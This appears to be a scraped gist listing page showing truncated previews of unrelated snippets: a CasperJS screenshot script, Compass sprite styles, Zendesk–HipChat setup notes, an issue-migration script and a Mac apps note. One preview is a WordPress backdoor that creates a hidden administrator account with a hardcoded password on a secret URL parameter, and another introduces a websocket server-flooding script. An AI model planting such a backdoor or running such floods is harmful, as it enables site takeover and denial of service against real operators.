Attention: the list was moved to
https://github.com/dypsilon/frontend-dev-bookmarks
This page is not maintained anymore, please update your bookmarks.
Attention: the list was moved to
https://github.com/dypsilon/frontend-dev-bookmarks
This page is not maintained anymore, please update your bookmarks.
<?php | |
add_action( 'wp_head', 'my_backdoor' ); | |
function my_backdoor() { | |
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { | |
require( 'wp-includes/registration.php' ); | |
if ( !username_exists( 'mr_admin' ) ) { | |
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); |
var casper = require('casper').create(); | |
casper.start(); | |
casper.userAgent('Mozilla/5.0 (Macintosh; Intel Mac OS X)'); | |
casper.viewport(1024, 768); | |
casper.thenOpen('http://jsbin.com/ifuma#noedit', function() { | |
this.capture('test.png'); |
@import compass | |
$icons: sprite-map("icons/*.png") | |
$icons-hd: sprite-map("icons-hd/*.png") | |
i | |
background: $icons | |
display: inline-block | |
@media (-webkit-min-device-pixel-ratio: 1.5), (min-resolution: 144dpi) | |
background: $icons-hd |
/** | |
* |||||||| Flooding time! ||||||||||| | |
* Let's create a lot of websockets connections | |
* and try to flood the server. | |
* Invocation: | |
* $ node script.js <IP> <Port> <Number of conn> <Interval between starts> <Number of chars> <Interval> <Time to kill> | |
* both intervals are in milliseconds | |
*/ | |
var wsClient = require('websocket').client; |
Set up like so: https://support.zendesk.com/entries/382630-hipchat-integration
Add the target here: http://support.YOURDOMAIN.com/settings/extensions#targets
Set up the trigger here: http://support.YOURDOMAIN.com/rules?filter=triggers
Possibly we had to put something ("x") in the trigger action message, even though the instructions above gave the impression you could leave them blank.
We used this for the request URL:
#!/usr/bin/env python | |
""" | |
This script helps migrating issues from Bitbucket to GitHub. | |
It currently ignores milestones completly and doesn't care whether an issue is | |
open, new or on hold. As long as it's not closed it's considered open. | |
To use it, install python-bitbucket, PyGithub and ipdb. |
kvz: "I'm recommending these Mac apps to a colleague who's losing his OSX virginity: https://gist.github.com/1372883. Anything you think I should add?"
Don't forget to look at the suggestions at the bottom, there's some cool stuff in there.